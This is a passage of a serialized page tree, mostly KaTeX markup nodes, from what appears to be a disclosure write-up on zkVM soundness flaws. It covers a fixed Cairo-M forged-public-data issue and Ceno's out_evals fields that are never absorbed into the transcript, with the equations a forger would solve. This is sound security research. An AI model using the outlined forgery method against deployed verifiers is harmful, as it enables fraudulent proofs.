22205,122210,122215,122272,122277,122286,122291,122300,122306,122311],{"type":25,"tag":216,"props":122190,"children":122192},{"className":122191,"style":117538},[246,2145,2183],[122193],{"type":31,"value":117541},{"type":25,"tag":216,"props":122195,"children":122197},{"className":122196},[340,2183],[122198],{"type":31,"value":3533},{"type":25,"tag":216,"props":122200,"children":122202},{"className":122201},[287,2183],[122203],{"type":31,"value":122204},"⟨",{"type":25,"tag":216,"props":122206,"children":122208},{"className":122207,"style":119065},[246,2145,2183],[122209],{"type":31,"value":119068},{"type":25,"tag":216,"props":122211,"children":122213},{"className":122212},[1858,2183],[122214],{"type":31,"value":1861},{"type":25,"tag":216,"props":122216,"children":122218},{"className":122217},[246,2183],[122219,122224],{"type":25,"tag":216,"props":122220,"children":122222},{"className":122221},[246,2145,2183],[122223],{"type":31,"value":2928},{"type":25,"tag":216,"props":122225,"children":122227},{"className":122226},[2153],[122228],{"type":25,"tag":216,"props":122229,"children":122231},{"className":122230},[298,299],[122232,122261],{"type":25,"tag":216,"props":122233,"children":122235},{"className":122234},[304],[122236,122256],{"type":25,"tag":216,"props":122237,"children":122239},{"className":122238,"style":118302},[309],[122240],{"type":25,"tag":216,"props":122241,"children":122242},{"style":112852},[122243,122247],{"type":25,"tag":216,"props":122244,"children":122246},{"className":122245,"style":5100},[319],[],{"type":25,"tag":216,"props":122248,"children":122250},{"className":122249},[2180,5105,5106,2183],[122251],{"type":25,"tag":216,"props":122252,"children":122254},{"className":122253},[246,2145,2183],[122255],{"type":31,"value":2283},{"type":25,"tag":216,"props":122257,"children":122259},{"className":122258},[408],[122260],{"type":31,"value":411},{"type":25,"tag":216,"props":122262,"children":122264},{"className":122263},[304],[122265],{"type":25,"tag":216,"props":122266,"children":122268},{"className":122267,"style":5212},[309],[122269],{"type":25,"tag":216,"props":122270,"children":122271},{},[],{"type":25,"tag":216,"props":122273,"children":122275},{"className":122274},[287,2183],[122276],{"type":31,"value":1844},{"type":25,"tag":216,"props":122278,"children":122280},{"className":122279},[246,31,2183],[122281],{"type":25,"tag":216,"props":122282,"children":122284},{"className":122283},[246,2183],[122285],{"type":31,"value":65637},{"type":25,"tag":216,"props":122287,"children":122289},{"className":122288,"style":2746},[246,2183],[122290],{"type":31,"value":7025},{"type":25,"tag":216,"props":122292,"children":122294},{"className":122293},[246,31,2183],[122295],{"type":25,"tag":216,"props":122296,"children":122298},{"className":122297},[246,2183],[122299],{"type":31,"value":7663},{"type":25,"tag":216,"props":122301,"children":122303},{"className":122302},[427,2183],[122304],{"type":31,"value":122305},")⟩",{"type":25,"tag":216,"props":122307,"children":122309},{"className":122308},[340,2183],[122310],{"type":31,"value":3533},{"type":25,"tag":216,"props":122312,"children":122314},{"className":122313,"style":119120},[246,2145,2183],[122315],{"type":31,"value":119123},{"type":25,"tag":216,"props":122317,"children":122318},{"style":360},[122319,122323],{"type":25,"tag":216,"props":122320,"children":122322},{"className":122321,"style":320},[319],[],{"type":25,"tag":216,"props":122324,"children":122326},{"className":122325,"style":370},[369],[],{"type":25,"tag":216,"props":122328,"children":122329},{"style":117565},[122330,122334],{"type":25,"tag":216,"props":122331,"children":122333},{"className":122332,"style":320},[319],[],{"type":25,"tag":216,"props":122335,"children":122337},{"className":122336},[2180,2181,2182,2183],[122338],{"type":25,"tag":216,"props":122339,"children":122341},{"className":122340},[246,2183],[122342],{"type":25,"tag":216,"props":122343,"children":122345},{"className":122344},[246,2183],[122346],{"type":31,"value":184},{"type":25,"tag":216,"props":122348,"children":122350},{"className":122349},[408],[122351],{"type":31,"value":411},{"type":25,"tag":216,"props":122353,"children":122355},{"className":122354},[304],[122356],{"type":25,"tag":216,"props":122357,"children":122360},{"className":122358,"style":122359},[309],"height:0.562em;",[122361],{"type":25,"tag":216,"props":122362,"children":122363},{},[],{"type":25,"tag":216,"props":122365,"children":122367},{"className":122366},[427,288],[],{"type":25,"tag":216,"props":122369,"children":122371},{"className":122370},[246],[122372],{"type":31,"value":179},{"type":25,"tag":38,"props":122374,"children":122375},{},[122376,122378],{"type":31,"value":122377},"The global check is then that ",{"type":25,"tag":82,"props":122379,"children":122381},{"className":122380},[212,4696],[122382],{"type":25,"tag":216,"props":122383,"children":122385},{"className":122384},[224],[122386],{"type":25,"tag":216,"props":122387,"children":122389},{"className":122388,"ariaHidden":230},[229],[122390,122431,122462],{"type":25,"tag":216,"props":122391,"children":122393},{"className":122392},[235],[122394,122398,122403,122408,122413,122418,122422,122427],{"type":25,"tag":216,"props":122395,"children":122397},{"className":122396,"style":5507},[240],[],{"type":25,"tag":216,"props":122399,"children":122401},{"className":122400},[246,2145],[122402],{"type":31,"value":121941},{"type":25,"tag":216,"props":122404,"children":122406},{"className":122405},[287],[122407],{"type":31,"value":1844},{"type":25,"tag":216,"props":122409,"children":122411},{"className":122410},[246,2145],[122412],{"type":31,"value":38},{"type":25,"tag":216,"props":122414,"children":122416},{"className":122415},[427],[122417],{"type":31,"value":1882},{"type":25,"tag":216,"props":122419,"children":122421},{"className":122420,"style":335},[257],[],{"type":25,"tag":216,"props":122423,"children":122425},{"className":122424},[340],[122426],{"type":31,"value":3533},{"type":25,"tag":216,"props":122428,"children":122430},{"className":122429,"style":335},[257],[],{"type":25,"tag":216,"props":122432,"children":122434},{"className":122433},[235],[122435,122439,122449,122453,122458],{"type":25,"tag":216,"props":122436,"children":122438},{"className":122437,"style":5507},[240],[],{"type":25,"tag":216,"props":122440,"children":122442},{"className":122441},[246,31],[122443],{"type":25,"tag":216,"props":122444,"children":122446},{"className":122445},[246],[122447],{"type":31,"value":122448},"(other terms)",{"type":25,"tag":216,"props":122450,"children":122452},{"className":122451,"style":258},[257],[],{"type":25,"tag":216,"props":122454,"children":122456},{"className":122455},[263],[122457],{"type":31,"value":266},{"type":25,"tag":216,"props":122459,"children":122461},{"className":122460,"style":258},[257],[],{"type":25,"tag":216,"props":122463,"children":122465},{"className":122464},[235],[122466,122470],{"type":25,"tag":216,"props":122467,"children":122469},{"className":122468,"style":5287},[240],[],{"type":25,"tag":216,"props":122471,"children":122473},{"className":122472},[246],[122474],{"type":31,"value":1876},{"type":25,"tag":38,"props":122476,"children":122477},{},[122478],{"type":31,"value":122479},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":25,"tag":38,"props":122481,"children":122482},{},[122483],{"type":31,"value":122484},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":25,"tag":38,"props":122486,"children":122487},{},[122488,122492,122494],{"type":25,"tag":9267,"props":122489,"children":122490},{},[122491],{"type":31,"value":120687},{"type":31,"value":122493}," Fixed on October 31, 2025 via ",{"type":25,"tag":162,"props":122495,"children":122498},{"href":122496,"rel":122497},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[166],[122499],{"type":31,"value":122500},"commit 92b6740",{"type":25,"tag":22747,"props":122502,"children":122503},{},[],{"type":25,"tag":607,"props":122505,"children":122507},{"id":122506},"ceno-scroll",[122508],{"type":31,"value":122509},"Ceno (Scroll)",{"type":25,"tag":38,"props":122511,"children":122512},{},[122513],{"type":31,"value":122514},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":25,"tag":38,"props":122516,"children":122517},{},[122518,122520,122525],{"type":31,"value":122519},"Ceno splits verification into ",{"type":25,"tag":9267,"props":122521,"children":122522},{},[122523],{"type":31,"value":122524},"chips",{"type":31,"value":122526},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":25,"tag":38,"props":122528,"children":122529},{},[122530,122532,122537],{"type":31,"value":122531},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":25,"tag":9267,"props":122533,"children":122534},{},[122535],{"type":31,"value":122536},"tower sumcheck",{"type":31,"value":179},{"type":25,"tag":38,"props":122539,"children":122540},{},[122541],{"type":31,"value":122542},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":25,"tag":38,"props":122544,"children":122545},{},[122546],{"type":25,"tag":82,"props":122547,"children":122549},{"className":122548},[212,4696],[122550],{"type":25,"tag":216,"props":122551,"children":122553},{"className":122552},[224],[122554],{"type":25,"tag":216,"props":122555,"children":122557},{"className":122556,"ariaHidden":230},[229],[122558,122732,122905],{"type":25,"tag":216,"props":122559,"children":122561},{"className":122560},[235],[122562,122566,122624,122628,122637,122642,122652,122657,122719,122723,122728],{"type":25,"tag":216,"props":122563,"children":122565},{"className":122564,"style":96954},[240],[],{"type":25,"tag":216,"props":122567,"children":122569},{"className":122568},[1835],[122570,122576],{"type":25,"tag":216,"props":122571,"children":122573},{"className":122572,"style":25578},[1835,4042,25577],[122574],{"type":31,"value":122575},"∏",{"type":25,"tag":216,"props":122577,"children":122579},{"className":122578},[2153],[122580],{"type":25,"tag":216,"props":122581,"children":122583},{"className":122582},[298,299],[122584,122613],{"type":25,"tag":216,"props":122585,"children":122587},{"className":122586},[304],[122588,122608],{"type":25,"tag":216,"props":122589,"children":122591},{"className":122590,"style":118185},[309],[122592],{"type":25,"tag":216,"props":122593,"children":122594},{"style":25601},[122595,122599],{"type":25,"tag":216,"props":122596,"children":122598},{"className":122597,"style":2175},[319],[],{"type":25,"tag":216,"props":122600,"children":122602},{"className":122601},[2180,2181,2182,2183],[122603],{"type":25,"tag":216,"props":122604,"children":122606},{"className":122605},[246,2145,2183],[122607],{"type":31,"value":2283},{"type":25,"tag":216,"props":122609,"children":122611},{"className":122610},[408],[122612],{"type":31,"value":411},{"type":25,"tag":216,"props":122614,"children":122616},{"className":122615},[304],[122617],{"type":25,"tag":216,"props":122618,"children":122620},{"className":122619,"style":118465},[309],[122621],{"type":25,"tag":216,"props":122622,"children":122623},{},[],{"type":25,"tag":216,"props":122625,"children":122627},{"className":122626,"style":1865},[257],[],{"type":25,"tag":216,"props":122629,"children":122631},{"className":122630},[246,31],[122632],{"type":25,"tag":216,"props":122633,"children":122635},{"className":122634},[246],[122636],{"type":31,"value":97823},{"type":25,"tag":216,"props":122638,"children":122640},{"className":122639,"style":2746},[246],[122641],{"type":31,"value":7025},{"type":25,"tag":216,"props":122643,"children":122645},{"className":122644},[246,31],[122646],{"type":25,"tag":216,"props":122647,"children":122649},{"className":122648},[246],[122650],{"type":31,"value":122651},"out",{"type":25,"tag":216,"props":122653,"children":122655},{"className":122654,"style":2746},[246],[122656],{"type":31,"value":7025},{"type":25,"tag":216,"props":122658,"children":122660},{"className":122659},[246],[122661,122671],{"type":25,"tag":216,"props":122662,"children":122664},{"className":122663},[246,31],[122665],{"type":25,"tag":216,"props":122666,"children":122668},{"className":122667},[246],[122669],{"type":31,"value":122670},"evals",{"type":25,"tag":216,"props":122672,"children":122674},{"className":122673},[2153],[122675],{"type":25,"tag":216,"props":122676,"children":122678},{"className":122677},[298,299],[122679,122708],{"type":25,"tag":216,"props":122680,"children":122682},{"className":122681},[304],[122683,122703],{"type":25,"tag":216,"props":122684,"children":122686},{"className":122685,"style":2264},[309],[122687],{"type":25,"tag":216,"props":122688,"children":122689},{"style":118108},[122690,122694],{"type":25,"tag":216,"props":122691,"children":122693},{"className":122692,"style":2175},[319],[],{"type":25,"tag":216,"props":122695,"children":122697},{"className":122696},[2180,2181,2182,2183],[122698],{"type":25,"tag":216,"props":122699,"children":122701},{"className":122700},[246,2145,2183],[122702],{"type":31,"value":2283},{"type":25,"tag":216,"props":122704,"children":122706},{"className":122705},[408],[122707],{"type":31,"value":411},{"type":25,"tag":216,"props":122709,"children":122711},{"className":122710},[304],[122712],{"type":25,"tag":216,"props":122713,"children":122715},{"className":122714,"style":2203},[309],[122716],{"type":25,"tag":216,"props":122717,"children":122718},{},[],{"type":25,"tag":216,"props":122720,"children":122722},{"className":122721,"style":258},[257],[],{"type":25,"tag":216,"props":122724,"children":122726},{"className":122725},[263],[122727],{"type":31,"value":266},{"type":25,"tag":216,"props":122729,"children":122731},{"className":122730,"style":258},[257],[],{"type":25,"tag":216,"props":122733,"children":122735},{"className":122734},[235],[122736,122741,122798,122802,122811,122816,122825,122830,122892,122896,122901],{"type":25,"tag":216,"props":122737,"children":122740},{"className":122738,"style":122739},[240],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":25,"tag":216,"props":122742,"children":122744},{"className":122743},[1835],[122745,122750],{"type":25,"tag":216,"props":122746,"children":122748},{"className":122747,"style":25578},[1835,4042,25577],[122749],{"type":31,"value":122575},{"type":25,"tag":216,"props":122751,"children":122753},{"className":122752},[2153],[122754],{"type":25,"tag":216,"props":122755,"children":122757},{"className":122756},[298,299],[122758,122787],{"type":25,"tag":216,"props":122759,"children":122761},{"className":122760},[304],[122762,122782],{"type":25,"tag":216,"props":122763,"children":122765},{"className":122764,"style":118185},[309],[122766],{"type":25,"tag":216,"props":122767,"children":122768},{"style":25601},[122769,122773],{"type":25,"tag":216,"props":122770,"children":122772},{"className":122771,"style":2175},[319],[],{"type":25,"tag":216,"props":122774,"children":122776},{"className":122775},[2180,2181,2182,2183],[122777],{"type":25,"tag":216,"props":122778,"children":122780},{"className":122779,"style":118201},[246,2145,2183],[122781],{"type":31,"value":12603},{"type":25,"tag":216,"props":122783,"children":122785},{"className":122784},[408],[122786],{"type":31,"value":411},{"type":25,"tag":216,"props":122788,"children":122790},{"className":122789},[304],[122791],{"type":25,"tag":216,"props":122792,"children":122794},{"className":122793,"style":118216},[309],[122795],{"type":25,"tag":216,"props":122796,"children":122797},{},[],{"type":25,"tag":216,"props":122799,"children":122801},{"className":122800,"style":1865},[257],[],{"type":25,"tag":216,"props":122803,"children":122805},{"className":122804},[246,31],[122806],{"type":25,"tag":216,"props":122807,"children":122809},{"className":122808},[246],[122810],{"type":31,"value":2464},{"type":25,"tag":216,"props":122812,"children":122814},{"className":122813,"style":2746},[246],[122815],{"type":31,"value":7025},{"type":25,"tag":216,"props":122817,"children":122819},{"className":122818},[246,31],[122820],{"type":25,"tag":216,"props":122821,"children":122823},{"className":122822},[246],[122824],{"type":31,"value":122651},{"type":25,"tag":216,"props":122826,"children":122828},{"className":122827,"style":2746},[246],[122829],{"type":31,"value":7025},{"type":25,"tag":216,"props":122831,"children":122833},{"className":122832},[246],[122834,122843],{"type":25,"tag":216,"props":122835,"children":122837},{"className":122836},[246,31],[122838],{"type":25,"tag":216,"props":122839,"children":122841},{"className":122840},[246],[122842],{"type":31,"value":122670},{"type":25,"tag":216,"props":122844,"children":122846},{"className":122845},[2153],[122847],{"type":25,"tag":216,"props":122848,"children":122850},{"className":122849},[298,299],[122851,122880],{"type":25,"tag":216,"props":122852,"children":122854},{"className":122853},[304],[122855,122875],{"type":25,"tag":216,"props":122856,"children":122858},{"className":122857,"style":2264},[309],[122859],{"type":25,"tag":216,"props":122860,"children":122861},{"style":118108},[122862,122866],{"type":25,"tag":216,"props":122863,"children":122865},{"className":122864,"style":2175},[319],[],{"type":25,"tag":216,"props":122867,"children":122869},{"className":122868},[2180,2181,2182,2183],[122870],{"type":25,"tag":216,"props":122871,"children":122873},{"className":122872,"style":118201},[246,2145,2183],[122874],{"type":31,"value":12603},{"type":25,"tag":216,"props":122876,"children":122878},{"className":122877},[408],[122879],{"type":31,"value":411},{"type":25,"tag":216,"props":122881,"children":122883},{"className":122882},[304],[122884],{"type":25,"tag":216,"props":122885,"children":122888},{"className":122886,"style":122887},[309],"height:0.2861em;",[122889],{"type":25,"tag":216,"props":122890,"children":122891},{},[],{"type":25,"tag":216,"props":122893,"children":122895},{"className":122894,"style":335},[257],[],{"type":25,"tag":216,"props":122897,"children":122899},{"className":122898},[340],[122900],{"type":31,"value":343},{"type":25,"tag":216,"props":122902,"children":122904},{"className":122903,"style":335},[257],[],{"type":25,"tag":216,"props":122906,"children":122908},{"className":122907},[235],[122909,122913,122918,122928],{"type":25,"tag":216,"props":122910,"children":122912},{"className":122911,"style":5507},[240],[],{"type":25,"tag":216,"props":122914,"children":122916},{"className":122915},[287],[122917],{"type":31,"value":1844},{"type":25,"tag":216,"props":122919,"children":122921},{"className":122920},[246,31],[122922],{"type":25,"tag":216,"props":122923,"children":122925},{"className":122924},[246],[122926],{"type":31,"value":122927},"state factors",{"type":25,"tag":216,"props":122929,"children":122931},{"className":122930},[427],[122932],{"type":31,"value":1882},{"type":25,"tag":38,"props":122934,"children":122935},{},[122936],{"type":25,"tag":9267,"props":122937,"children":122938},{},[122939],{"type":31,"value":119393},{"type":25,"tag":206,"props":122941,"children":122943},{"code":122942},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[122944],{"type":25,"tag":82,"props":122945,"children":122946},{"__ignoreMap":7},[122947],{"type":31,"value":122942},{"type":25,"tag":38,"props":122949,"children":122950},{},[122951,122957,122958,122964,122965,122971],{"type":25,"tag":82,"props":122952,"children":122954},{"className":122953},[],[122955],{"type":31,"value":122956},"r_out_evals",{"type":31,"value":7020},{"type":25,"tag":82,"props":122959,"children":122961},{"className":122960},[],[122962],{"type":31,"value":122963},"w_out_evals",{"type":31,"value":10433},{"type":25,"tag":82,"props":122966,"children":122968},{"className":122967},[],[122969],{"type":31,"value":122970},"lk_out_evals",{"type":31,"value":122972}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":25,"tag":6705,"props":122974,"children":122975},{},[122976],{"type":25,"tag":2037,"props":122977,"children":122978},{},[122979,122984,122986,122992],{"type":25,"tag":9267,"props":122980,"children":122981},{},[122982],{"type":31,"value":122983},"GKR/Tower equation",{"type":31,"value":122985}," (linear in ",{"type":25,"tag":82,"props":122987,"children":122989},{"className":122988},[],[122990],{"type":31,"value":122991},"out_evals",{"type":31,"value":27897},{"type":25,"tag":38,"props":122994,"children":122995},{},[122996,122998],{"type":31,"value":122997},"The tower sumcheck claim is ",{"type":25,"tag":82,"props":122999,"children":123001},{"className":123000},[212,4696],[123002],{"type":25,"tag":216,"props":123003,"children":123005},{"className":123004},[224],[123006],{"type":25,"tag":216,"props":123007,"children":123009},{"className":123008,"ariaHidden":230},[229],[123010,123041,123166],{"type":25,"tag":216,"props":123011,"children":123013},{"className":123012},[235],[123014,123018,123028,123032,123037],{"type":25,"tag":216,"props":123015,"children":123017},{"className":123016,"style":96927},[240],[],{"type":25,"tag":216,"props":123019,"children":123021},{"className":123020},[246,31],[123022],{"type":25,"tag":216,"props":123023,"children":123025},{"className":123024},[246],[123026],{"type":31,"value":123027},"claim",{"type":25,"tag":216,"props":123029,"children":123031},{"className":123030,"style":258},[257],[],{"type":25,"tag":216,"props":123033,"children":123035},{"className":123034},[263],[123036],{"type":31,"value":266},{"type":25,"tag":216,"props":123038,"children":123040},{"className":123039,"style":258},[257],[],{"type":25,"tag":216,"props":123042,"children":123044},{"className":123043},[235],[123045,123050,123107,123111,123153,123157,123162],{"type":25,"tag":216,"props":123046,"children":123049},{"className":123047,"style":123048},[240],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":25,"tag":216,"props":123051,"children":123053},{"className":123052},[1835],[123054,123059],{"type":25,"tag":216,"props":123055,"children":123057},{"className":123056,"style":25578},[1835,4042,25577],[123058],{"type":31,"value":4046},{"type":25,"tag":216,"props":123060,"children":123062},{"className":123061},[2153],[123063],{"type":25,"tag":216,"props":123064,"children":123066},{"className":123065},[298,299],[123067,123096],{"type":25,"tag":216,"props":123068,"children":123070},{"className":123069},[304],[123071,123091],{"type":25,"tag":216,"props":123072,"children":123074},{"className":123073,"style":118185},[309],[123075],{"type":25,"tag":216,"props":123076,"children":123077},{"style":25601},[123078,123082],{"type":25,"tag":216,"props":123079,"children":123081},{"className":123080,"style":2175},[319],[],{"type":25,"tag":216,"props":123083,"children":123085},{"className":123084},[2180,2181,2182,2183],[123086],{"type":25,"tag":216,"props":123087,"children":123089},{"className":123088,"style":118201},[246,2145,2183],[123090],{"type":31,"value":12603},{"type":25,"tag":216,"props":123092,"children":123094},{"className":123093},[408],[123095],{"type":31,"value":411},{"type":25,"tag":216,"props":123097,"children":123099},{"className":123098},[304],[123100],{"type":25,"tag":216,"props":123101,"children":123103},{"className":123102,"style":118216},[309],[123104],{"type":25,"tag":216,"props":123105,"children":123106},{},[],{"type":25,"tag":216,"props":123108,"children":123110},{"className":123109,"style":1865},[257],[],{"type":25,"tag":216,"props":123112,"children":123114},{"className":123113},[246],[123115,123120],{"type":25,"tag":216,"props":123116,"children":123118},{"className":123117,"style":119065},[246,2145],[123119],{"type":31,"value":119068},{"type":25,"tag":216,"props":123121,"children":123123},{"className":123122},[2153],[123124],{"type":25,"tag":216,"props":123125,"children":123127},{"className":123126},[298],[123128],{"type":25,"tag":216,"props":123129,"children":123131},{"className":123130},[304],[123132],{"type":25,"tag":216,"props":123133,"children":123136},{"className":123134,"style":123135},[309],"height:0.8247em;",[123137],{"type":25,"tag":216,"props":123138,"children":123139},{"style":6098},[123140,123144],{"type":25,"tag":216,"props":123141,"children":123143},{"className":123142,"style":2175},[319],[],{"type":25,"tag":216,"props":123145,"children":123147},{"className":123146},[2180,2181,2182,2183],[123148],{"type":25,"tag":216,"props":123149,"children":123151},{"className":123150,"style":118201},[246,2145,2183],[123152],{"type":31,"value":12603},{"type":25,"tag":216,"props":123154,"children":123156},{"className":123155,"style":335},[257],[],{"type":25,"tag":216,"props":123158,"children":123160},{"className":123159},[340],[123161],{"type":31,"value":343},{"type":25,"tag":216,"props":123163,"children":123165},{"className":123164,"style":335},[257],[],{"type":25,"tag":216,"props":123167,"children":123169},{"className":123168},[235],[123170,123174,123183,123188],{"type":25,"tag":216,"props":123171,"children":123173},{"className":123172,"style":241},[240],[],{"type":25,"tag":216,"props":123175,"children":123177},{"className":123176},[246,31],[123178],{"type":25,"tag":216,"props":123179,"children":123181},{"className":123180},[246],[123182],{"type":31,"value":122651},{"type":25,"tag":216,"props":123184,"children":123186},{"className":123185,"style":2746},[246],[123187],{"type":31,"value":7025},{"type":25,"tag":216,"props":123189,"children":123191},{"className":123190},[246],[123192,123201],{"type":25,"tag":216,"props":123193,"children":123195},{"className":123194},[246,31],[123196],{"type":25,"tag":216,"props":123197,"children":123199},{"className":123198},[246],[123200],{"type":31,"value":122670},{"type":25,"tag":216,"props":123202,"children":123204},{"className":123203},[2153],[123205],{"type":25,"tag":216,"props":123206,"children":123208},{"className":123207},[298,299],[123209,123238],{"type":25,"tag":216,"props":123210,"children":123212},{"className":123211},[304],[123213,123233],{"type":25,"tag":216,"props":123214,"children":123216},{"className":123215,"style":2264},[309],[123217],{"type":25,"tag":216,"props":123218,"children":123219},{"style":118108},[123220,123224],{"type":25,"tag":216,"props":123221,"children":123223},{"className":123222,"style":2175},[319],[],{"type":25,"tag":216,"props":123225,"children":123227},{"className":123226},[2180,2181,2182,2183],[123228],{"type":25,"tag":216,"props":123229,"children":123231},{"className":123230,"style":118201},[246,2145,2183],[123232],{"type":31,"value":12603},{"type":25,"tag":216,"props":123234,"children":123236},{"className":123235},[408],[123237],{"type":31,"value":411},{"type":25,"tag":216,"props":123239,"children":123241},{"className":123240},[304],[123242],{"type":25,"tag":216,"props":123243,"children":123245},{"className":123244,"style":122887},[309],[123246],{"type":25,"tag":216,"props":123247,"children":123248},{},[],{"type":25,"tag":38,"props":123250,"children":123251},{},[123252,123254,123259],{"type":31,"value":123253},"This check is linear in ",{"type":25,"tag":82,"props":123255,"children":123257},{"className":123256},[],[123258],{"type":31,"value":122991},{"type":31,"value":179},{"type":25,"tag":6705,"props":123261,"children":123262},{"start":6763},[123263],{"type":25,"tag":2037,"props":123264,"children":123265},{},[123266,123271,123273,123278],{"type":25,"tag":9267,"props":123267,"children":123268},{},[123269],{"type":31,"value":123270},"rw-product consistency",{"type":31,"value":123272}," (bilinear in ",{"type":25,"tag":82,"props":123274,"children":123276},{"className":123275},[],[123277],{"type":31,"value":122991},{"type":31,"value":27897},{"type":25,"tag":38,"props":123280,"children":123281},{},[123282],{"type":25,"tag":82,"props":123283,"children":123285},{"className":123284},[212,4696],[123286],{"type":25,"tag":216,"props":123287,"children":123289},{"className":123288},[224],[123290],{"type":25,"tag":216,"props":123291,"children":123293},{"className":123292,"ariaHidden":230},[229],[123294,123465,123636],{"type":25,"tag":216,"props":123295,"children":123297},{"className":123296},[235],[123298,123302,123359,123363,123372,123377,123386,123391,123452,123456,123461],{"type":25,"tag":216,"props":123299,"children":123301},{"className":123300,"style":96954},[240],[],{"type":25,"tag":216,"props":123303,"children":123305},{"className":123304},[1835],[123306,123311],{"type":25,"tag":216,"props":123307,"children":123309},{"className":123308,"style":25578},[1835,4042,25577],[123310],{"type":31,"value":122575},{"type":25,"tag":216,"props":123312,"children":123314},{"className":123313},[2153],[123315],{"type":25,"tag":216,"props":123316,"children":123318},{"className":123317},[298,299],[123319,123348],{"type":25,"tag":216,"props":123320,"children":123322},{"className":123321},[304],[123323,123343],{"type":25,"tag":216,"props":123324,"children":123326},{"className":123325,"style":118185},[309],[123327],{"type":25,"tag":216,"props":123328,"children":123329},{"style":25601},[123330,123334],{"type":25,"tag":216,"props":123331,"children":123333},{"className":123332,"style":2175},[319],[],{"type":25,"tag":216,"props":123335,"children":123337},{"className":123336},[2180,2181,2182,2183],[123338],{"type":25,"tag":216,"props":123339,"children":123341},{"className":123340},[246,2145,2183],[123342],{"type":31,"value":2283},{"type":25,"tag":216,"props":123344,"children":123346},{"className":123345},[408],[123347],{"type":31,"value":411},{"type":25,"tag":216,"props":123349,"children":123351},{"className":123350},[304],[123352],{"type":25,"tag":216,"props":123353,"children":123355},{"className":123354,"style":118465},[309],[123356],{"type":25,"tag":216,"props":123357,"children":123358},{},[],{"type":25,"tag":216,"props":123360,"children":123362},{"className":123361,"style":1865},[257],[],{"type":25,"tag":216,"props":123364,"children":123366},{"className":123365},[246,31],[123367],{"type":25,"tag":216,"props":123368,"children":123370},{"className":123369},[246],[123371],{"type":31,"value":97823},{"type":25,"tag":216,"props":123373,"children":123375},{"className":123374,"style":2746},[246],[123376],{"type":31,"value":7025},{"type":25,"tag":216,"props":123378,"children":123380},{"className":123379},[246,31],[123381],{"type":25,"tag":216,"props":123382,"children":123384},{"className":123383},[246],[123385],{"type":31,"value":122651},{"type":25,"tag":216,"props":123387,"children":123389},{"className":123388,"style":2746},[246],[123390],{"type":31,"value":7025},{"type":25,"tag":216,"props":123392,"children":123394},{"className":123393},[246],[123395,123404],{"type":25,"tag":216,"props":123396,"children":123398},{"className":123397},[246,31],[123399],{"type":25,"tag":216,"props":123400,"children":123402},{"className":123401},[246],[123403],{"type":31,"value":122670},{"type":25,"tag":216,"props":123405,"children":123407},{"className":123406},[2153],[123408],{"type":25,"tag":216,"props":123409,"children":123411},{"className":123410},[298,299],[123412,123441],{"type":25,"tag":216,"props":123413,"children":123415},{"className":123414},[304],[123416,123436],{"type":25,"tag":216,"props":123417,"children":123419},{"className":123418,"style":2264},[309],[123420],{"type":25,"tag":216,"props":123421,"children":123422},{"style":118108},[123423,123427],{"type":25,"tag":216,"props":123424,"children":123426},{"className":123425,"style":2175},[319],[],{"type":25,"tag":216,"props":123428,"children":123430},{"className":123429},[2180,2181,2182,2183],[123431],{"type":25,"tag":216,"props":123432,"children":123434},{"className":123433},[246,2145,2183],[123435],{"type":31,"value":2283},{"type":25,"tag":216,"props":123437,"children":123439},{"className":123438},[408],[123440],{"type":31,"value":411},{"type":25,"tag":216,"props":123442,"children":123444},{"className":123443},[304],[123445],{"type":25,"tag":216,"props":123446,"children":123448},{"className":123447,"style":2203},[309],[123449],{"type":25,"tag":216,"props":123450,"children":123451},{},[],{"type":25,"tag":216,"props":123453,"children":123455},{"className":123454,"style":258},[257],[],{"type":25,"tag":216,"props":123457,"children":123459},{"className":123458},[263],[123460],{"type":31,"value":266},{"type":25,"tag":216,"props":123462,"children":123464},{"className":123463,"style":258},[257],[],{"type":25,"tag":216,"props":123466,"children":123468},{"className":123467},[235],[123469,123473,123530,123534,123543,123548,123557,123562,123623,123627,123632],{"type":25,"tag":216,"props":123470,"children":123472},{"className":123471,"style":122739},[240],[],{"type":25,"tag":216,"props":123474,"children":123476},{"className":123475},[1835],[123477,123482],{"type":25,"tag":216,"props":123478,"children":123480},{"className":123479,"style":25578},[1835,4042,25577],[123481],{"type":31,"value":122575},{"type":25,"tag":216,"props":123483,"children":123485},{"className":123484},[2153],[123486],{"type":25,"tag":216,"props":123487,"children":123489},{"className":123488},[298,299],[123490,123519],{"type":25,"tag":216,"props":123491,"children":123493},{"className":123492},[304],[123494,123514],{"type":25,"tag":216,"props":123495,"children":123497},{"className":123496,"style":118185},[309],[123498],{"type":25,"tag":216,"props":123499,"children":123500},{"style":25601},[123501,123505],{"type":25,"tag":216,"props":123502,"children":123504},{"className":123503,"style":2175},[319],[],{"type":25,"tag":216,"props":123506,"children":123508},{"className":123507},[2180,2181,2182,2183],[123509],{"type":25,"tag":216,"props":123510,"children":123512},{"className":123511,"style":118201},[246,2145,2183],[123513],{"type":31,"value":12603},{"type":25,"tag":216,"props":123515,"children":123517},{"className":123516},[408],[123518],{"type":31,"value":411},{"type":25,"tag":216,"props":123520,"children":123522},{"className":123521},[304],[123523],{"type":25,"tag":216,"props":123524,"children":123526},{"className":123525,"style":118216},[309],[123527],{"type":25,"tag":216,"props":123528,"children":123529},{},[],{"type":25,"tag":216,"props":123531,"children":123533},{"className":123532,"style":1865},[257],[],{"type":25,"tag":216,"props":123535,"children":123537},{"className":123536},[246,31],[123538],{"type":25,"tag":216,"props":123539,"children":123541},{"className":123540},[246],[123542],{"type":31,"value":2464},{"type":25,"tag":216,"props":123544,"children":12